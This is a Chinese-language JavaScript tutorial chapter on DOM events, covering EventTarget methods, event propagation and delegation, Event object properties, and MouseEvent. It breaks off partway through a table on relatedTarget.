阮一峰JavaScript教程(下2)

目录

8.事件

EventTarget 接口

事件的本质是程序各个组成部分之间的一种通信方式,也是异步编程的一种实现。DOM 支持大量的事件,本章开始介绍 DOM 的事件编程。

介绍具体的事件之前,先来看看如何让 DOM 节点监听事件。

概述

DOM 节点的事件操作(监听和触发),都定义在EventTarget接口。所有节点对象都部署了这个接口,其他一些需要事件通信的浏览器内置对象(比如,XMLHttpRequestAudioNodeAudioContext)也部署了这个接口。

该接口主要提供三个实例方法。

  • addEventListener():绑定事件的监听函数
  • removeEventListener():移除事件的监听函数
  • dispatchEvent():触发事件

EventTarget.addEventListener()

EventTarget.addEventListener()用于在当前节点或对象上(即部署了 EventTarget 接口的对象),定义一个特定事件的监听函数。一旦这个事件发生,就会执行监听函数。该方法没有返回值。

target.addEventListener(type, listener[, useCapture]);

该方法接受三个参数。

  • type:事件名称,大小写敏感。
  • listener:监听函数。事件发生时,会调用该监听函数。
  • useCapture:布尔值,如果设为true,表示监听函数将在捕获阶段(capture)触发(参见后文《事件的传播》部分)。该参数可选,默认值为false(监听函数只在冒泡阶段被触发)。

下面是一个例子。

function hello() {
  console.log('Hello world');
}

var button = document.getElementById('btn');
button.addEventListener('click', hello, false);

上面代码中,button节点的addEventListener()方法绑定click事件的监听函数hello(),该函数只在冒泡阶段触发。

关于参数,有两个地方需要注意。

首先,第二个参数除了监听函数,还可以是一个具有handleEvent方法的对象,效果与监听函数一样。

buttonElement.addEventListener('click', {
  handleEvent: function (event) {
    console.log('click');
  }
});

上面代码中,addEventListener()方法的第二个参数,就是一个具有handleEvent()方法的对象。

其次,第三个参数除了布尔值useCapture,还可以是一个监听器配置对象,定制事件监听行为。该对象有以下属性。

  • capture:布尔值,如果设为true,表示监听函数在捕获阶段触发,默认为false,在冒泡阶段触发。
  • once:布尔值,如果设为true,表示监听函数执行一次就会自动移除,后面将不再监听该事件。该属性默认值为false
  • passive:布尔值,设为true时,表示禁止监听函数调用preventDefault()方法。如果调用了,浏览器将忽略这个要求,并在控制台输出一条警告。该属性默认值为false
  • signal:该属性的值为一个 AbortSignal 对象,为监听器设置了一个信号通道,用来在需要时发出信号,移除监听函数。

下面是once属性的例子,让监听函数只执行一次。

element.addEventListener('click', function (event) {
  // 只执行一次的代码
}, {once: true});

addEventListener()方法可以为针对当前对象的同一个事件,添加多个不同的监听函数。这些函数按照添加顺序触发,即先添加先触发。如果为同一个事件多次添加同一个监听函数,该函数只会执行一次,多余的添加将自动被去除(不必使用removeEventListener()方法手动去除)。

function hello() {
  console.log('Hello world');
}

document.addEventListener('click', hello, false);
document.addEventListener('click', hello, false);

执行上面代码,点击文档只会输出一行Hello world

如果希望向监听函数传递参数,可以用匿名函数包装一下监听函数。

function print(x) {
  console.log(x);
}

var el = document.getElementById('div1');
el.addEventListener('click', function () { print('Hello'); }, false);

上面代码通过匿名函数,向监听函数print传递了一个参数。

监听函数内部的this,指向当前事件所在的那个对象。

// HTML 代码如下
// <p id="para">Hello</p>
var para = document.getElementById('para');
para.addEventListener('click', function (e) {
  console.log(this.nodeName); // "P"
}, false);

上面代码中,监听函数内部的this指向事件所在的对象para

EventTarget.removeEventListener()

EventTarget.removeEventListener()方法用来移除addEventListener()方法添加的事件监听函数。该方法没有返回值。

div.addEventListener('click', listener, false);
div.removeEventListener('click', listener, false);

removeEventListener()方法的参数,与addEventListener()方法完全一致。它的第一个参数“事件类型”,大小写敏感。

注意,removeEventListener()方法移除的监听函数,必须是addEventListener()方法添加的那个监听函数,而且必须在同一个元素节点,否则无效。

div.addEventListener('click', function (e) {}, false);
div.removeEventListener('click', function (e) {}, false);

上面代码中,removeEventListener()方法无效,因为监听函数不是同一个匿名函数。

element.addEventListener('mousedown', handleMouseDown, true);
element.removeEventListener("mousedown", handleMouseDown, false);

上面代码中,removeEventListener()方法也是无效的,因为第三个参数不一样。

EventTarget.dispatchEvent()

EventTarget.dispatchEvent()方法在当前节点上触发指定事件,从而触发监听函数的执行。该方法返回一个布尔值,只要有一个监听函数调用了Event.preventDefault(),则返回值为false,否则为true

target.dispatchEvent(event)

dispatchEvent()方法的参数是一个Event对象的实例(详见《Event 对象》章节)。

para.addEventListener('click', hello, false);
var event = new Event('click');
para.dispatchEvent(event);

上面代码在当前节点触发了click事件。

如果dispatchEvent()方法的参数为空,或者不是一个有效的事件对象,将报错。

下面代码根据dispatchEvent()方法的返回值,判断事件是否被取消了。

var canceled = !cb.dispatchEvent(event);
if (canceled) {
  console.log('事件取消');
} else {
  console.log('事件未取消');
}

事件模型

监听函数

浏览器的事件模型,就是通过监听函数(listener)对事件做出反应。事件发生后,浏览器监听到了这个事件,就会执行对应的监听函数。这是事件驱动编程模式(event-driven)的主要编程方式。

JavaScript 有三种方法,可以为事件绑定监听函数。

HTML 的 on- 属性

HTML 语言允许在元素的属性中,直接定义某些事件的监听代码。

<body onload="doSomething()">
<div onclick="console.log('触发事件')">

上面代码为body节点的load事件、div节点的click事件,指定了监听代码。一旦事件发生,就会执行这段代码。

元素的事件监听属性,都是on加上事件名,比如onload就是on + load,表示load事件的监听代码。

注意,这些属性的值是将会执行的代码,而不是一个函数。

<!-- 正确 -->
<body onload="doSomething()">

<!-- 错误 -->
<body onload="doSomething">

一旦指定的事件发生,on-属性的值是原样传入 JavaScript 引擎执行。因此如果要执行函数,不要忘记加上一对圆括号。

使用这个方法指定的监听代码,只会在冒泡阶段触发。

<div onclick="console.log(2)">
  <button onclick="console.log(1)">点击</button>
</div>

上面代码中,<button><div>的子元素。<button>click事件,也会触发<div>click事件。由于on-属性的监听代码,只在冒泡阶段触发,所以点击结果是先输出1,再输出2,即事件从子元素开始冒泡到父元素。

直接设置on-属性,与通过元素节点的setAttribute方法设置on-属性,效果是一样的。

el.setAttribute('onclick', 'doSomething()');
// 等同于
// <Element onclick="doSomething()">

元素节点的事件属性

元素节点对象的事件属性,同样可以指定监听函数。

window.onload = doSomething;

div.onclick = function (event) {
  console.log('触发事件');
};

使用这个方法指定的监听函数,也是只会在冒泡阶段触发。

注意,这种方法与 HTML 的on-属性的差异是,它的值是函数名(doSomething),而不像后者,必须给出完整的监听代码(doSomething())。

EventTarget.addEventListener()

所有 DOM 节点实例都有addEventListener方法,用来为该节点定义事件的监听函数。

window.addEventListener('load', doSomething, false);

addEventListener方法的详细介绍,参见EventTarget章节。

小结

上面三种方法,第一种“HTML 的 on- 属性”,违反了 HTML 与 JavaScript 代码相分离的原则,将两者写在一起,不利于代码分工,因此不推荐使用。

第二种“元素节点的事件属性”的缺点在于,同一个事件只能定义一个监听函数,也就是说,如果定义两次onclick属性,后一次定义会覆盖前一次。因此,也不推荐使用。

第三种EventTarget.addEventListener是推荐的指定监听函数的方法。它有如下优点:

  • 同一个事件可以添加多个监听函数。
  • 能够指定在哪个阶段(捕获阶段还是冒泡阶段)触发监听函数。
  • 除了 DOM 节点,其他对象(比如windowXMLHttpRequest等)也有这个接口,它等于是整个 JavaScript 统一的监听函数接口。

this 的指向

监听函数内部的this指向触发事件的那个元素节点。

<button id="btn" onclick="console.log(this.id)">点击</button>

执行上面代码,点击后会输出btn

其他两种监听函数的写法,this的指向也是如此。

// HTML 代码如下
// <button id="btn">点击</button>
var btn = document.getElementById('btn');

// 写法一
btn.onclick = function () {
  console.log(this.id);
};

// 写法二
btn.addEventListener(
  'click',
  function (e) {
    console.log(this.id);
  },
  false
);

上面两种写法,点击按钮以后也是输出btn

事件的传播

一个事件发生后,会在子元素和父元素之间传播(propagation)。这种传播分成三个阶段。

  • 第一阶段:从window对象传导到目标节点(上层传到底层),称为“捕获阶段”(capture phase)。
  • 第二阶段:在目标节点上触发,称为“目标阶段”(target phase)。
  • 第三阶段:从目标节点传导回window对象(从底层传回上层),称为“冒泡阶段”(bubbling phase)。

这种三阶段的传播模型,使得同一个事件会在多个节点上触发。

<div>
  <p>点击</p>
</div>

上面代码中,<div>节点之中有一个<p>节点。

如果对这两个节点,都设置click事件的监听函数(每个节点的捕获阶段和冒泡阶段,各设置一个监听函数),共计设置四个监听函数。然后,对<p>点击,click事件会触发四次。

var phases = {
  1: 'capture',
  2: 'target',
  3: 'bubble'
};

var div = document.querySelector('div');
var p = document.querySelector('p');

div.addEventListener('click', callback, true);
p.addEventListener('click', callback, true);
div.addEventListener('click', callback, false);
p.addEventListener('click', callback, false);

function callback(event) {
  var tag = event.currentTarget.tagName;
  var phase = phases[event.eventPhase];
  console.log("Tag: '" + tag + "'. EventPhase: '" + phase + "'");
}

// 点击以后的结果
// Tag: 'DIV'. EventPhase: 'capture'
// Tag: 'P'. EventPhase: 'target'
// Tag: 'P'. EventPhase: 'target'
// Tag: 'DIV'. EventPhase: 'bubble'

上面代码表示,click事件被触发了四次:<div>节点的捕获阶段和冒泡阶段各1次,<p>节点的目标阶段触发了2次。

  1. 捕获阶段:事件从<div><p>传播时,触发<div>click事件;
  2. 目标阶段:事件从<div>到达<p>时,触发<p>click事件;
  3. 冒泡阶段:事件从<p>传回<div>时,再次触发<div>click事件。

其中,<p>节点有两个监听函数(addEventListener方法第三个参数的不同,会导致绑定两个监听函数),因此它们都会因为click事件触发一次。所以,<p>会在target阶段有两次输出。

注意,浏览器总是假定click事件的目标节点,就是点击位置嵌套最深的那个节点(本例是<div>节点里面的<p>节点)。所以,<p>节点的捕获阶段和冒泡阶段,都会显示为target阶段。

事件传播的最上层对象是window,接着依次是documenthtmldocument.documentElement)和bodydocument.body)。也就是说,上例的事件传播顺序,在捕获阶段依次为windowdocumenthtmlbodydivp,在冒泡阶段依次为pdivbodyhtmldocumentwindow

事件的代理

由于事件会在冒泡阶段向上传播到父节点,因此可以把子节点的监听函数定义在父节点上,由父节点的监听函数统一处理多个子元素的事件。这种方法叫做事件的代理(delegation)。

var ul = document.querySelector('ul');

ul.addEventListener('click', function (event) {
  if (event.target.tagName.toLowerCase() === 'li') {
    // some code
  }
});

上面代码中,click事件的监听函数定义在<ul>节点,但是实际上,它处理的是子节点<li>click事件。这样做的好处是,只要定义一个监听函数,就能处理多个子节点的事件,而不用在每个<li>节点上定义监听函数。而且以后再添加子节点,监听函数依然有效。

如果希望事件到某个节点为止,不再传播,可以使用事件对象的stopPropagation方法。

// 事件传播到 p 元素后,就不再向下传播了
p.addEventListener('click', function (event) {
  event.stopPropagation();
}, true);

// 事件冒泡到 p 元素后,就不再向上冒泡了
p.addEventListener('click', function (event) {
  event.stopPropagation();
}, false);

上面代码中,stopPropagation方法分别在捕获阶段和冒泡阶段,阻止了事件的传播。

但是,stopPropagation方法只会阻止事件的传播,不会阻止该事件触发<p>节点的其他click事件的监听函数。也就是说,不是彻底取消click事件。

p.addEventListener('click', function (event) {
  event.stopPropagation();
  console.log(1);
});

p.addEventListener('click', function(event) {
  // 会触发
  console.log(2);
});

上面代码中,p元素绑定了两个click事件的监听函数。stopPropagation方法只能阻止这个事件的传播,不能取消这个事件,因此,第二个监听函数会触发。输出结果会先是1,然后是2。

如果想要彻底取消该事件,不再触发后面所有click的监听函数,可以使用stopImmediatePropagation方法。

p.addEventListener('click', function (event) {
  event.stopImmediatePropagation();
  console.log(1);
});

p.addEventListener('click', function(event) {
  // 不会被触发
  console.log(2);
});

上面代码中,stopImmediatePropagation方法可以彻底取消这个事件,使得后面绑定的所有click监听函数都不再触发。所以,只会输出1,不会输出2。

Event 对象

概述

事件发生以后,会产生一个事件对象,作为参数传给监听函数。浏览器原生提供一个Event对象,所有的事件都是这个对象的实例,或者说继承了Event.prototype对象。

Event对象本身就是一个构造函数,可以用来生成新的实例。

event = new Event(type, options);

Event构造函数接受两个参数。第一个参数type是字符串,表示事件的名称;第二个参数options是一个对象,表示事件对象的配置。该对象主要有下面两个属性。

  • bubbles:布尔值,可选,默认为false,表示事件对象是否冒泡。
  • cancelable:布尔值,可选,默认为false,表示事件是否可以被取消,即能否用Event.preventDefault()取消这个事件。一旦事件被取消,就好像从来没有发生过,不会触发浏览器对该事件的默认行为。
var ev = new Event(
  'look',
  {
    'bubbles': true,
    'cancelable': false
  }
);
document.dispatchEvent(ev);

上面代码新建一个look事件实例,然后使用dispatchEvent方法触发该事件。

注意,如果不是显式指定bubbles属性为true,生成的事件就只能在“捕获阶段”触发监听函数。

// HTML 代码为
// <div><p>Hello</p></div>
var div = document.querySelector('div');
var p = document.querySelector('p');

function callback(event) {
  var tag = event.currentTarget.tagName;
  console.log('Tag: ' + tag); // 没有任何输出
}

div.addEventListener('click', callback, false);

var click = new Event('click');
p.dispatchEvent(click);

上面代码中,p元素发出一个click事件,该事件默认不会冒泡。div.addEventListener方法指定在冒泡阶段监听,因此监听函数不会触发。如果写成div.addEventListener('click', callback, true),那么在“捕获阶段”可以监听到这个事件。

另一方面,如果这个事件在div元素上触发。

div.dispatchEvent(click);

那么,不管div元素是在冒泡阶段监听,还是在捕获阶段监听,都会触发监听函数。因为这时div元素是事件的目标,不存在是否冒泡的问题,div元素总是会接收到事件,因此导致监听函数生效。

实例属性

Event.bubbles,Event.eventPhase

Event.bubbles属性返回一个布尔值,表示当前事件是否会冒泡。该属性为只读属性,一般用来了解 Event 实例是否可以冒泡。前面说过,除非显式声明,Event构造函数生成的事件,默认是不冒泡的。

Event.eventPhase属性返回一个整数常量,表示事件目前所处的阶段。该属性只读。

var phase = event.eventPhase;

Event.eventPhase的返回值有四种可能。

  • 0,事件目前没有发生。
  • 1,事件目前处于捕获阶段,即处于从祖先节点向目标节点的传播过程中。
  • 2,事件到达目标节点,即Event.target属性指向的那个节点。
  • 3,事件处于冒泡阶段,即处于从目标节点向祖先节点的反向传播过程中。

Event.cancelable,Event.cancelBubble,event.defaultPrevented

Event.cancelable属性返回一个布尔值,表示事件是否可以取消。该属性为只读属性,一般用来了解 Event 实例的特性。

大多数浏览器的原生事件是可以取消的。比如,取消click事件,点击链接将无效。但是除非显式声明,Event构造函数生成的事件,默认是不可以取消的。

var evt = new Event('foo');
evt.cancelable  // false

Event.cancelable属性为true时,调用Event.preventDefault()就可以取消这个事件,阻止浏览器对该事件的默认行为。

如果事件不能取消,调用Event.preventDefault()会没有任何效果。所以使用这个方法之前,最好用Event.cancelable属性判断一下是否可以取消。

function preventEvent(event) {
  if (event.cancelable) {
    event.preventDefault();
  } else {
    console.warn('This event couldn\'t be canceled.');
    console.dir(event);
  }
}

Event.cancelBubble属性是一个布尔值,如果设为true,相当于执行Event.stopPropagation(),可以阻止事件的传播。

Event.defaultPrevented属性返回一个布尔值,表示该事件是否调用过Event.preventDefault方法。该属性只读。

if (event.defaultPrevented) {
  console.log('该事件已经取消了');
}

Event.currentTarget,Event.target

事件发生以后,会经过捕获和冒泡两个阶段,依次通过多个 DOM 节点。因此,任意事件都有两个与事件相关的节点,一个是事件的原始触发节点(Event.target),另一个是事件当前正在通过的节点(Event.currentTarget)。前者通常是后者的后代节点。

Event.currentTarget属性返回事件当前所在的节点,即事件当前正在通过的节点,也就是当前正在执行的监听函数所在的那个节点。随着事件的传播,这个属性的值会变。

Event.target属性返回原始触发事件的那个节点,即事件最初发生的节点。这个属性不会随着事件的传播而改变。

事件传播过程中,不同节点的监听函数内部的Event.targetEvent.currentTarget属性的值是不一样的。

// HTML 代码为
// <p id="para">Hello <em>World</em></p>
function hide(e) {
  // 不管点击 Hello 或 World,总是返回 true
  console.log(this === e.currentTarget);

  // 点击 Hello,返回 true
  // 点击 World,返回 false
  console.log(this === e.target);
}

document.getElementById('para').addEventListener('click', hide, false);

上面代码中,<em><p>的子节点,点击<em>或者点击<p>,都会导致监听函数执行。这时,e.target总是指向原始点击位置的那个节点,而e.currentTarget指向事件传播过程中正在经过的那个节点。由于监听函数只有事件经过时才会触发,所以e.currentTarget总是等同于监听函数内部的this

Event.type

Event.type属性返回一个字符串,表示事件类型。事件的类型是在生成事件的时候指定的。该属性只读。

var evt = new Event('foo');
evt.type // "foo"

Event.timeStamp

Event.timeStamp属性返回一个毫秒时间戳,表示事件发生的时间。它是相对于网页加载成功开始计算的。

var evt = new Event('foo');
evt.timeStamp // 3683.6999999995896

它的返回值有可能是整数,也有可能是小数(高精度时间戳),取决于浏览器的设置。

下面是一个计算鼠标移动速度的例子,显示每秒移动的像素数量。

var previousX;
var previousY;
var previousT;

window.addEventListener('mousemove', function(event) {
  if (
    previousX !== undefined &&
    previousY !== undefined &&
    previousT !== undefined
  ) {
    var deltaX = event.screenX - previousX;
    var deltaY = event.screenY - previousY;
    var deltaD = Math.sqrt(Math.pow(deltaX, 2) + Math.pow(deltaY, 2));

    var deltaT = event.timeStamp - previousT;
    console.log(deltaD / deltaT * 1000);
  }

  previousX = event.screenX;
  previousY = event.screenY;
  previousT = event.timeStamp;
});

Event.isTrusted

Event.isTrusted属性返回一个布尔值,表示该事件是否由真实的用户行为产生。比如,用户点击链接会产生一个click事件,该事件是用户产生的;Event构造函数生成的事件,则是脚本产生的。

var evt = new Event('foo');
evt.isTrusted // false

上面代码中,evt对象是脚本产生的,所以isTrusted属性返回false

Event.detail

Event.detail属性只有浏览器的 UI (用户界面)事件才具有。该属性返回一个数值,表示事件的某种信息。具体含义与事件类型相关。比如,对于clickdblclick事件,Event.detail是鼠标按下的次数(1表示单击,2表示双击,3表示三击);对于鼠标滚轮事件,Event.detail是滚轮正向滚动的距离,负值就是负向滚动的距离,返回值总是3的倍数。

// HTML 代码如下
// <p>Hello</p>
function giveDetails(e) {
  console.log(e.detail);
}

document.querySelector('p').onclick = giveDetails;

实例方法

Event.preventDefault()

Event.preventDefault方法取消浏览器对当前事件的默认行为。比如点击链接后,浏览器默认会跳转到另一个页面,使用这个方法以后,就不会跳转了;再比如,按一下空格键,页面向下滚动一段距离,使用这个方法以后也不会滚动了。该方法生效的前提是,事件对象的cancelable属性为true,如果为false,调用该方法没有任何效果。

注意,该方法只是取消事件对当前元素的默认影响,不会阻止事件的传播。如果要阻止传播,可以使用stopPropagation()stopImmediatePropagation()方法。

// HTML 代码为
// <input type="checkbox" id="my-checkbox" />
var cb = document.getElementById('my-checkbox');

cb.addEventListener(
  'click',
  function (e){ e.preventDefault(); },
  false
);

上面代码中,浏览器的默认行为是单击会选中单选框,取消这个行为,就导致无法选中单选框。

利用这个方法,可以为文本输入框设置校验条件。如果用户的输入不符合条件,就无法将字符输入文本框。

// HTML 代码为
// <input type="text" id="my-input" />
var input = document.getElementById('my-input');
input.addEventListener('keypress', checkName, false);

function checkName(e) {
  if (e.charCode < 97 || e.charCode > 122) {
    e.preventDefault();
  }
}

上面代码为文本框的keypress事件设定监听函数后,将只能输入小写字母,否则输入事件的默认行为(写入文本框)将被取消,导致不能向文本框输入内容。

Event.stopPropagation()

stopPropagation方法阻止事件在 DOM 中继续传播,防止再触发定义在别的节点上的监听函数,但是不包括在当前节点上其他的事件监听函数。

function stopEvent(e) {
  e.stopPropagation();
}

el.addEventListener('click', stopEvent, false);

上面代码中,click事件将不会进一步冒泡到el节点的父节点。

Event.stopImmediatePropagation()

Event.stopImmediatePropagation方法阻止同一个事件的其他监听函数被调用,不管监听函数定义在当前节点还是其他节点。也就是说,该方法阻止事件的传播,比Event.stopPropagation()更彻底。

如果同一个节点对于同一个事件指定了多个监听函数,这些函数会根据添加的顺序依次调用。只要其中有一个监听函数调用了Event.stopImmediatePropagation方法,其他的监听函数就不会再执行了。

function l1(e){
  e.stopImmediatePropagation();
}

function l2(e){
  console.log('hello world');
}

el.addEventListener('click', l1, false);
el.addEventListener('click', l2, false);

上面代码在el节点上,为click事件添加了两个监听函数l1l2。由于l1调用了event.stopImmediatePropagation方法,所以l2不会被调用。

Event.composedPath()

Event.composedPath()返回一个数组,成员是事件的最底层节点和依次冒泡经过的所有上层节点。

// HTML 代码如下
// <div>
//   <p>Hello</p>
// </div>
var div = document.querySelector('div');
var p = document.querySelector('p');

div.addEventListener('click', function (e) {
  console.log(e.composedPath());
}, false);
// [p, div, body, html, document, Window]

上面代码中,click事件的最底层节点是p,向上依次是divbodyhtmldocumentWindow

鼠标事件

鼠标事件的种类

鼠标事件主要有下面这些,所有事件都继承了MouseEvent接口(详见后文)。

(1)点击事件

鼠标点击相关的有四个事件。

  • click:按下鼠标(通常是按下主按钮)时触发。
  • dblclick:在同一个元素上双击鼠标时触发。
  • mousedown:按下鼠标键时触发。
  • mouseup:释放按下的鼠标键时触发。

click事件可以看成是两个事件组成的:用户在同一个位置先触发mousedown,再触发mouseup。因此,触发顺序是,mousedown首先触发,mouseup接着触发,click最后触发。

双击时,dblclick事件则会在mousedownmouseupclick之后触发。

(2)移动事件

鼠标移动相关的有五个事件。

  • mousemove:当鼠标在一个节点内部移动时触发。当鼠标持续移动时,该事件会连续触发。为了避免性能问题,建议对该事件的监听函数做一些限定,比如限定一段时间内只能运行一次。
  • mouseenter:鼠标进入一个节点时触发,进入子节点不会触发这个事件(详见后文)。
  • mouseover:鼠标进入一个节点时触发,进入子节点会再一次触发这个事件(详见后文)。
  • mouseout:鼠标离开一个节点时触发,离开父节点也会触发这个事件(详见后文)。
  • mouseleave:鼠标离开一个节点时触发,离开父节点不会触发这个事件(详见后文)。

mouseover事件和mouseenter事件,都是鼠标进入一个节点时触发。两者的区别是,mouseenter事件只触发一次,而只要鼠标在节点内部移动,mouseover事件会在子节点上触发多次。

/* HTML 代码如下
 <ul>
   <li>item 1</li>
   <li>item 2</li>
   <li>item 3</li>
 </ul>
*/

var ul = document.querySelector('ul');

// 进入 ul 节点以后,mouseenter 事件只会触发一次
// 以后只要鼠标在节点内移动,都不会再触发这个事件
// event.target 是 ul 节点
ul.addEventListener('mouseenter', function (event) {
  event.target.style.color = 'purple';
  setTimeout(function () {
    event.target.style.color = '';
  }, 500);
}, false);

// 进入 ul 节点以后,只要在子节点上移动,mouseover 事件会触发多次
// event.target 是 li 节点
ul.addEventListener('mouseover', function (event) {
  event.target.style.color = 'orange';
  setTimeout(function () {
    event.target.style.color = '';
  }, 500);
}, false);

上面代码中,在父节点内部进入子节点,不会触发mouseenter事件,但是会触发mouseover事件。

mouseout事件和mouseleave事件,都是鼠标离开一个节点时触发。两者的区别是,在父元素内部离开一个子元素时,mouseleave事件不会触发,而mouseout事件会触发。

/* HTML 代码如下
 <ul>
   <li>item 1</li>
   <li>item 2</li>
   <li>item 3</li>
 </ul>
*/

var ul = document.querySelector('ul');

// 先进入 ul 节点,然后在节点内部移动,不会触发 mouseleave 事件
// 只有离开 ul 节点时,触发一次 mouseleave
// event.target 是 ul 节点
ul.addEventListener('mouseleave', function (event) {
  event.target.style.color = 'purple';
  setTimeout(function () {
    event.target.style.color = '';
  }, 500);
}, false);

// 先进入 ul 节点,然后在节点内部移动,mouseout 事件会触发多次
// event.target 是 li 节点
ul.addEventListener('mouseout', function (event) {
  event.target.style.color = 'orange';
  setTimeout(function () {
    event.target.style.color = '';
  }, 500);
}, false);

上面代码中,在父节点内部离开子节点,不会触发mouseleave事件,但是会触发mouseout事件。

(3)其他事件

  • contextmenu:按下鼠标右键时(上下文菜单出现前)触发,或者按下“上下文”菜单键时触发。
  • wheel:滚动鼠标的滚轮时触发,该事件继承的是WheelEvent接口。

MouseEvent 接口

MouseEvent接口代表了鼠标相关的事件,单击(click)、双击(dblclick)、松开鼠标键(mouseup)、按下鼠标键(mousedown)等动作,所产生的事件对象都是MouseEvent实例。此外,滚轮事件和拖拉事件也是MouseEvent实例。

MouseEvent接口继承了Event接口,所以拥有Event的所有属性和方法,并且还提供鼠标独有的属性和方法。

浏览器原生提供一个MouseEvent()构造函数,用于新建一个MouseEvent实例。

var event = new MouseEvent(type, options);

MouseEvent()构造函数接受两个参数。第一个参数是字符串,表示事件名称;第二个参数是一个事件配置对象,该参数可选。除了Event接口的实例配置属性,该对象可以配置以下属性,所有属性都是可选的。

  • screenX:数值,鼠标相对于屏幕的水平位置(单位像素),默认值为0,设置该属性不会移动鼠标。
  • screenY:数值,鼠标相对于屏幕的垂直位置(单位像素),其他与screenX相同。
  • clientX:数值,鼠标相对于程序窗口的水平位置(单位像素),默认值为0,设置该属性不会移动鼠标。
  • clientY:数值,鼠标相对于程序窗口的垂直位置(单位像素),其他与clientX相同。
  • ctrlKey:布尔值,是否同时按下了 Ctrl 键,默认值为false
  • shiftKey:布尔值,是否同时按下了 Shift 键,默认值为false
  • altKey:布尔值,是否同时按下 Alt 键,默认值为false
  • metaKey:布尔值,是否同时按下 Meta 键,默认值为false
  • button:数值,表示按下了哪一个鼠标按键,默认值为0,表示按下主键(通常是鼠标的左键)或者当前事件没有定义这个属性;1表示按下辅助键(通常是鼠标的中间键),2表示按下次要键(通常是鼠标的右键)。
  • buttons:数值,表示按下了鼠标的哪些键,是一个三个比特位的二进制值,默认为0(没有按下任何键)。1(二进制001)表示按下主键(通常是左键),2(二进制010)表示按下次要键(通常是右键),4(二进制100)表示按下辅助键(通常是中间键)。因此,如果返回3(二进制011)就表示同时按下了左键和右键。
  • relatedTarget:节点对象,表示事件的相关节点,默认为nullmouseentermouseover事件时,表示鼠标刚刚离开的那个元素节点;mouseoutmouseleave事件时,表示鼠标正在进入的那个元素节点。

下面是一个例子。

function simulateClick() {
  var event = new MouseEvent('click', {
    'bubbles': true,
    'cancelable': true
  });
  var cb = document.getElementById('checkbox');
  cb.dispatchEvent(event);
}

上面代码生成一个鼠标点击事件,并触发该事件。

MouseEvent 接口的实例属性

MouseEvent.altKey,MouseEvent.ctrlKey,MouseEvent.metaKey,MouseEvent.shiftKey

MouseEvent.altKeyMouseEvent.ctrlKeyMouseEvent.metaKeyMouseEvent.shiftKey这四个属性都返回一个布尔值,表示事件发生时,是否按下对应的键。它们都是只读属性。

  • altKey属性:Alt 键
  • ctrlKey属性:Ctrl 键
  • metaKey属性:Meta 键(Mac 键盘是一个四瓣的小花,Windows 键盘是 Windows 键)
  • shiftKey属性:Shift 键
// HTML 代码如下
// <body onclick="showKey(event)">
function showKey(e) {
  console.log('ALT key pressed: ' + e.altKey);
  console.log('CTRL key pressed: ' + e.ctrlKey);
  console.log('META key pressed: ' + e.metaKey);
  console.log('SHIFT key pressed: ' + e.shiftKey);
}

上面代码中,点击网页会输出是否同时按下对应的键。

MouseEvent.button,MouseEvent.buttons

MouseEvent.button属性返回一个数值,表示事件发生时按下了鼠标的哪个键。该属性只读。

  • 0:按下主键(通常是左键),或者该事件没有初始化这个属性(比如mousemove事件)。
  • 1:按下辅助键(通常是中键或者滚轮键)。
  • 2:按下次键(通常是右键)。
// HTML 代码为
// <button onmouseup="whichButton(event)">点击</button>
var whichButton = function (e) {
  switch (e.button) {
    case 0:
      console.log('Left button clicked.');
      break;
    case 1:
      console.log('Middle button clicked.');
      break;
    case 2:
      console.log('Right button clicked.');
      break;
    default:
      console.log('Unexpected code: ' + e.button);
  }
}

MouseEvent.buttons属性返回一个三个比特位的值,表示同时按下了哪些键。它用来处理同时按下多个鼠标键的情况。该属性只读。

  • 1:二进制为001(十进制的1),表示按下左键。
  • 2:二进制为010(十进制的2),表示按下右键。
  • 4:二进制为100(十进制的4),表示按下中键或滚轮键。

同时按下多个键的时候,每个按下的键对应的比特位都会有值。比如,同时按下左键和右键,会返回3(二进制为011)。

MouseEvent.clientX,MouseEvent.clientY

MouseEvent.clientX属性返回鼠标位置相对于浏览器窗口左上角的水平坐标(单位像素),MouseEvent.clientY属性返回垂直坐标。这两个属性都是只读属性。

// HTML 代码为
// <body onmousedown="showCoords(event)">
function showCoords(evt){
  console.log(
    'clientX value: ' + evt.clientX + '\n' +
    'clientY value: ' + evt.clientY + '\n'
  );
}

这两个属性还分别有一个别名MouseEvent.xMouseEvent.y

MouseEvent.movementX,MouseEvent.movementY

MouseEvent.movementX属性返回当前位置与上一个mousemove事件之间的水平距离(单位像素)。数值上,它等于下面的计算公式。

currentEvent.movementX = currentEvent.screenX - previousEvent.screenX

MouseEvent.movementY属性返回当前位置与上一个mousemove事件之间的垂直距离(单位像素)。数值上,它等于下面的计算公式。

currentEvent.movementY = currentEvent.screenY - previousEvent.screenY。

这两个属性都是只读属性。

MouseEvent.screenX,MouseEvent.screenY

MouseEvent.screenX属性返回鼠标位置相对于屏幕左上角的水平坐标(单位像素),MouseEvent.screenY属性返回垂直坐标。这两个属性都是只读属性。

// HTML 代码如下
// <body onmousedown="showCoords(event)">
function showCoords(evt) {
  console.log(
    'screenX value: ' + evt.screenX + '\n',
    'screenY value: ' + evt.screenY + '\n'
  );
}

MouseEvent.offsetX,MouseEvent.offsetY

MouseEvent.offsetX属性返回鼠标位置与目标节点左侧的padding边缘的水平距离(单位像素),MouseEvent.offsetY属性返回与目标节点上方的padding边缘的垂直距离。这两个属性都是只读属性。

/* HTML 代码如下
  <style>
    p {
      width: 100px;
      height: 100px;
      padding: 100px;
    }
  </style>
  <p>Hello</p>
*/
var p = document.querySelector('p');
p.addEventListener(
  'click',
  function (e) {
    console.log(e.offsetX);
    console.log(e.offsetY);
  },
  false
);

上面代码中,鼠标如果在p元素的中心位置点击,会返回150 150。因此中心位置距离左侧和上方的padding边缘,等于padding的宽度(100像素)加上元素内容区域一半的宽度(50像素)。

MouseEvent.pageX,MouseEvent.pageY

MouseEvent.pageX属性返回鼠标位置与文档左侧边缘的距离(单位像素),MouseEvent.pageY属性返回与文档上侧边缘的距离(单位像素)。它们的返回值都包括文档不可见的部分。这两个属性都是只读。

/* HTML 代码如下
  <style>
    body {
      height: 2000px;
    }
  </style>
*/
document.body.addEventListener(
  'click',
  function (e) {
    console.log(e.pageX);
    console.log(e.pageY);
  },
  false
);

上面代码中,页面高度为2000像素,会产生垂直滚动条。滚动到页面底部,点击鼠标输出的pageY值会接近2000。

MouseEvent.relatedTarget

MouseEvent.relatedTarget属性返回事件的相关节点。对于那些没有相关节点的事件,该属性返回null。该属性只读。

下表列出不同事件的target属性值和relatedTarget属性值义。

事件名称 target 属性 relatedTarget 属性
focusin 接受焦点的节点 丧失焦点的节点
